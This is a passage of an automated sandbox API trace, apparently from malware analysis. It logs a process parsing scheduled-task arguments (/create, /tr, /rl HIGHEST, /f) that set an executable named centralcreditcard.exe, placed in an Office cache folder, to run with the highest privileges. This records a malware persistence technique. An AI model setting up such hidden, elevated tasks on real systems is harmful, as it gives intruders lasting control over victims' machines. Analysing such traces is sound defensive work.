\x09", wMatch=0x64) returned 0x0 [0082.353] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0082.353] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0082.353] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0082.353] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0082.353] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0082.353] GetLastError () returned 0x0 [0082.353] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0082.353] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0082.353] SetLastError (dwErrCode=0x0) [0082.353] SetLastError (dwErrCode=0x0) [0082.353] lstrlenW (lpString="/rl") returned 3 [0082.353] lstrlenW (lpString="-/") returned 2 [0082.353] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0082.353] lstrlenW (lpString="create") returned 6 [0082.353] lstrlenW (lpString="create") returned 6 [0082.353] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.353] lstrlenW (lpString="rl") returned 2 [0082.353] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.353] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|create|") returned 8 [0082.353] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.353] lstrlenW (lpString="|create|") returned 8 [0082.353] lstrlenW (lpString="|rl|") returned 4 [0082.353] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0082.353] SetLastError (dwErrCode=0x490) [0082.353] lstrlenW (lpString="?") returned 1 [0082.354] lstrlenW (lpString="?") returned 1 [0082.354] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.354] lstrlenW (lpString="rl") returned 2 [0082.354] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.354] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|?|") returned 3 [0082.354] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.354] lstrlenW (lpString="|?|") returned 3 [0082.354] lstrlenW (lpString="|rl|") returned 4 [0082.354] SetLastError (dwErrCode=0x490) [0082.354] lstrlenW (lpString="s") returned 1 [0082.354] lstrlenW (lpString="s") returned 1 [0082.354] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.354] lstrlenW (lpString="rl") returned 2 [0082.354] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.354] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|s|") returned 3 [0082.354] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.354] lstrlenW (lpString="|s|") returned 3 [0082.354] lstrlenW (lpString="|rl|") returned 4 [0082.354] SetLastError (dwErrCode=0x490) [0082.354] lstrlenW (lpString="u") returned 1 [0082.354] lstrlenW (lpString="u") returned 1 [0082.354] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.354] lstrlenW (lpString="rl") returned 2 [0082.354] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.354] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|u|") returned 3 [0082.354] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.354] lstrlenW (lpString="|u|") returned 3 [0082.354] lstrlenW (lpString="|rl|") returned 4 [0082.354] SetLastError (dwErrCode=0x490) [0082.354] lstrlenW (lpString="p") returned 1 [0082.354] lstrlenW (lpString="p") returned 1 [0082.355] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.355] lstrlenW (lpString="rl") returned 2 [0082.355] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.355] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|p|") returned 3 [0082.355] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.355] lstrlenW (lpString="|p|") returned 3 [0082.355] lstrlenW (lpString="|rl|") returned 4 [0082.355] SetLastError (dwErrCode=0x490) [0082.355] lstrlenW (lpString="ru") returned 2 [0082.355] lstrlenW (lpString="ru") returned 2 [0082.355] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.355] lstrlenW (lpString="rl") returned 2 [0082.355] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.355] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|ru|") returned 4 [0082.355] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.355] lstrlenW (lpString="|ru|") returned 4 [0082.355] lstrlenW (lpString="|rl|") returned 4 [0082.355] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0082.355] SetLastError (dwErrCode=0x490) [0082.355] lstrlenW (lpString="rp") returned 2 [0082.355] lstrlenW (lpString="rp") returned 2 [0082.355] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.355] lstrlenW (lpString="rl") returned 2 [0082.355] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.355] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rp|") returned 4 [0082.355] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.355] lstrlenW (lpString="|rp|") returned 4 [0082.355] lstrlenW (lpString="|rl|") returned 4 [0082.355] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0082.355] SetLastError (dwErrCode=0x490) [0082.356] lstrlenW (lpString="sc") returned 2 [0082.356] lstrlenW (lpString="sc") returned 2 [0082.356] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.356] lstrlenW (lpString="rl") returned 2 [0082.356] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.356] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|sc|") returned 4 [0082.356] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.356] lstrlenW (lpString="|sc|") returned 4 [0082.356] lstrlenW (lpString="|rl|") returned 4 [0082.356] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0082.356] SetLastError (dwErrCode=0x490) [0082.356] lstrlenW (lpString="mo") returned 2 [0082.356] lstrlenW (lpString="mo") returned 2 [0082.356] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.356] lstrlenW (lpString="rl") returned 2 [0082.356] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.356] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|mo|") returned 4 [0082.356] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.356] lstrlenW (lpString="|mo|") returned 4 [0082.356] lstrlenW (lpString="|rl|") returned 4 [0082.356] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0082.356] SetLastError (dwErrCode=0x490) [0082.356] lstrlenW (lpString="d") returned 1 [0082.356] lstrlenW (lpString="d") returned 1 [0082.356] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.356] lstrlenW (lpString="rl") returned 2 [0082.356] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.356] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|d|") returned 3 [0082.356] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.357] lstrlenW (lpString="|d|") returned 3 [0082.357] lstrlenW (lpString="|rl|") returned 4 [0082.357] SetLastError (dwErrCode=0x490) [0082.357] lstrlenW (lpString="m") returned 1 [0082.357] lstrlenW (lpString="m") returned 1 [0082.357] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.357] lstrlenW (lpString="rl") returned 2 [0082.357] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.357] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|m|") returned 3 [0082.357] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.357] lstrlenW (lpString="|m|") returned 3 [0082.357] lstrlenW (lpString="|rl|") returned 4 [0082.357] SetLastError (dwErrCode=0x490) [0082.357] lstrlenW (lpString="i") returned 1 [0082.357] lstrlenW (lpString="i") returned 1 [0082.357] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.357] lstrlenW (lpString="rl") returned 2 [0082.357] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.357] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|i|") returned 3 [0082.357] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.357] lstrlenW (lpString="|i|") returned 3 [0082.357] lstrlenW (lpString="|rl|") returned 4 [0082.357] SetLastError (dwErrCode=0x490) [0082.357] lstrlenW (lpString="tn") returned 2 [0082.357] lstrlenW (lpString="tn") returned 2 [0082.357] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.357] lstrlenW (lpString="rl") returned 2 [0082.357] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.357] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.357] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.358] lstrlenW (lpString="|tn|") returned 4 [0082.358] lstrlenW (lpString="|rl|") returned 4 [0082.358] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0082.358] SetLastError (dwErrCode=0x490) [0082.358] lstrlenW (lpString="tr") returned 2 [0082.358] lstrlenW (lpString="tr") returned 2 [0082.358] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.358] lstrlenW (lpString="rl") returned 2 [0082.358] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.358] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.358] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.358] lstrlenW (lpString="|tr|") returned 4 [0082.358] lstrlenW (lpString="|rl|") returned 4 [0082.358] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0082.358] SetLastError (dwErrCode=0x490) [0082.358] lstrlenW (lpString="st") returned 2 [0082.358] lstrlenW (lpString="st") returned 2 [0082.358] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.358] lstrlenW (lpString="rl") returned 2 [0082.358] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.358] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|st|") returned 4 [0082.358] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.358] lstrlenW (lpString="|st|") returned 4 [0082.358] lstrlenW (lpString="|rl|") returned 4 [0082.358] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0082.358] SetLastError (dwErrCode=0x490) [0082.358] lstrlenW (lpString="sd") returned 2 [0082.358] lstrlenW (lpString="sd") returned 2 [0082.358] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.358] lstrlenW (lpString="rl") returned 2 [0082.359] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.359] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|sd|") returned 4 [0082.359] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.359] lstrlenW (lpString="|sd|") returned 4 [0082.359] lstrlenW (lpString="|rl|") returned 4 [0082.359] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0082.359] SetLastError (dwErrCode=0x490) [0082.359] lstrlenW (lpString="ed") returned 2 [0082.359] lstrlenW (lpString="ed") returned 2 [0082.359] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.359] lstrlenW (lpString="rl") returned 2 [0082.359] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.359] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|ed|") returned 4 [0082.359] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.359] lstrlenW (lpString="|ed|") returned 4 [0082.359] lstrlenW (lpString="|rl|") returned 4 [0082.359] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0082.359] SetLastError (dwErrCode=0x490) [0082.359] lstrlenW (lpString="it") returned 2 [0082.359] lstrlenW (lpString="it") returned 2 [0082.359] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.359] lstrlenW (lpString="rl") returned 2 [0082.359] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.359] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|it|") returned 4 [0082.359] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.359] lstrlenW (lpString="|it|") returned 4 [0082.359] lstrlenW (lpString="|rl|") returned 4 [0082.359] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0082.359] SetLastError (dwErrCode=0x490) [0082.359] lstrlenW (lpString="et") returned 2 [0082.360] lstrlenW (lpString="et") returned 2 [0082.360] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.360] lstrlenW (lpString="rl") returned 2 [0082.360] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.360] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|et|") returned 4 [0082.360] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.360] lstrlenW (lpString="|et|") returned 4 [0082.360] lstrlenW (lpString="|rl|") returned 4 [0082.360] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0082.360] SetLastError (dwErrCode=0x490) [0082.360] lstrlenW (lpString="k") returned 1 [0082.360] lstrlenW (lpString="k") returned 1 [0082.360] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.360] lstrlenW (lpString="rl") returned 2 [0082.360] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.360] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|k|") returned 3 [0082.360] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.360] lstrlenW (lpString="|k|") returned 3 [0082.360] lstrlenW (lpString="|rl|") returned 4 [0082.360] SetLastError (dwErrCode=0x490) [0082.360] lstrlenW (lpString="du") returned 2 [0082.360] lstrlenW (lpString="du") returned 2 [0082.360] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.360] lstrlenW (lpString="rl") returned 2 [0082.360] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.361] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|du|") returned 4 [0082.361] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.361] lstrlenW (lpString="|du|") returned 4 [0082.361] lstrlenW (lpString="|rl|") returned 4 [0082.361] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0082.361] SetLastError (dwErrCode=0x490) [0082.361] lstrlenW (lpString="ri") returned 2 [0082.361] lstrlenW (lpString="ri") returned 2 [0082.361] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.361] lstrlenW (lpString="rl") returned 2 [0082.361] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.361] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|ri|") returned 4 [0082.361] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.361] lstrlenW (lpString="|ri|") returned 4 [0082.361] lstrlenW (lpString="|rl|") returned 4 [0082.361] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0082.361] SetLastError (dwErrCode=0x490) [0082.361] lstrlenW (lpString="z") returned 1 [0082.361] lstrlenW (lpString="z") returned 1 [0082.361] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.361] lstrlenW (lpString="rl") returned 2 [0082.361] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.361] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|z|") returned 3 [0082.361] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.361] lstrlenW (lpString="|z|") returned 3 [0082.361] lstrlenW (lpString="|rl|") returned 4 [0082.361] SetLastError (dwErrCode=0x490) [0082.361] lstrlenW (lpString="f") returned 1 [0082.361] lstrlenW (lpString="f") returned 1 [0082.361] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.361] lstrlenW (lpString="rl") returned 2 [0082.362] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.362] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.362] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.362] lstrlenW (lpString="|f|") returned 3 [0082.362] lstrlenW (lpString="|rl|") returned 4 [0082.362] SetLastError (dwErrCode=0x490) [0082.362] lstrlenW (lpString="v1") returned 2 [0082.362] lstrlenW (lpString="v1") returned 2 [0082.362] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.362] lstrlenW (lpString="rl") returned 2 [0082.362] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.362] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|v1|") returned 4 [0082.362] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.362] lstrlenW (lpString="|v1|") returned 4 [0082.362] lstrlenW (lpString="|rl|") returned 4 [0082.362] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0082.362] SetLastError (dwErrCode=0x490) [0082.362] lstrlenW (lpString="xml") returned 3 [0082.362] lstrlenW (lpString="xml") returned 3 [0082.362] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.362] lstrlenW (lpString="rl") returned 2 [0082.362] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.362] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|xml|") returned 5 [0082.362] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.362] lstrlenW (lpString="|xml|") returned 5 [0082.362] lstrlenW (lpString="|rl|") returned 4 [0082.362] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0082.362] SetLastError (dwErrCode=0x490) [0082.362] lstrlenW (lpString="ec") returned 2 [0082.362] lstrlenW (lpString="ec") returned 2 [0082.363] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.363] lstrlenW (lpString="rl") returned 2 [0082.363] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.363] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|ec|") returned 4 [0082.363] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.363] lstrlenW (lpString="|ec|") returned 4 [0082.363] lstrlenW (lpString="|rl|") returned 4 [0082.363] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0082.363] SetLastError (dwErrCode=0x490) [0082.363] lstrlenW (lpString="rl") returned 2 [0082.363] lstrlenW (lpString="rl") returned 2 [0082.363] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.363] lstrlenW (lpString="rl") returned 2 [0082.363] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.363] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.363] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rl|") returned 4 [0082.363] lstrlenW (lpString="|rl|") returned 4 [0082.363] lstrlenW (lpString="|rl|") returned 4 [0082.363] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0082.363] SetLastError (dwErrCode=0x0) [0082.363] SetLastError (dwErrCode=0x0) [0082.363] lstrlenW (lpString="HIGHEST") returned 7 [0082.363] lstrlenW (lpString="-/") returned 2 [0082.363] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0082.363] SetLastError (dwErrCode=0x490) [0082.363] SetLastError (dwErrCode=0x490) [0082.363] SetLastError (dwErrCode=0x0) [0082.363] lstrlenW (lpString="HIGHEST") returned 7 [0082.363] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0082.363] SetLastError (dwErrCode=0x490) [0082.363] SetLastError (dwErrCode=0x0) [0082.364] _memicmp (_Buf1=0x15d720, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.364] lstrlenW (lpString="HIGHEST") returned 7 [0082.364] lstrlenW (lpString="HIGHEST") returned 7 [0082.364] lstrlenW (lpString=" \x09") returned 2 [0082.364] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0082.364] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0082.364] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0082.364] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0082.364] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0082.364] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0082.364] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0082.364] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0082.364] GetLastError () returned 0x0 [0082.364] lstrlenW (lpString="HIGHEST") returned 7 [0082.364] lstrlenW (lpString="HIGHEST") returned 7 [0082.364] SetLastError (dwErrCode=0x0) [0082.364] SetLastError (dwErrCode=0x0) [0082.364] lstrlenW (lpString="/f") returned 2 [0082.364] lstrlenW (lpString="-/") returned 2 [0082.364] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0082.364] lstrlenW (lpString="create") returned 6 [0082.364] lstrlenW (lpString="create") returned 6 [0082.364] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.365] lstrlenW (lpString="f") returned 1 [0082.365] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.365] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|create|") returned 8 [0082.365] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.365] lstrlenW (lpString="|create|") returned 8 [0082.365] lstrlenW (lpString="|f|") returned 3 [0082.365] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0082.365] SetLastError (dwErrCode=0x490) [0082.365] lstrlenW (lpString="?") returned 1 [0082.365] lstrlenW (lpString="?") returned 1 [0082.365] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.365] lstrlenW (lpString="f") returned 1 [0082.365] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.365] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|?|") returned 3 [0082.365] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.365] lstrlenW (lpString="|?|") returned 3 [0082.365] lstrlenW (lpString="|f|") returned 3 [0082.365] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0082.365] SetLastError (dwErrCode=0x490) [0082.365] lstrlenW (lpString="s") returned 1 [0082.365] lstrlenW (lpString="s") returned 1 [0082.365] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.365] lstrlenW (lpString="f") returned 1 [0082.365] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.365] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|s|") returned 3 [0082.365] _vsnwprintf (in: _Buffer=0x15c400, 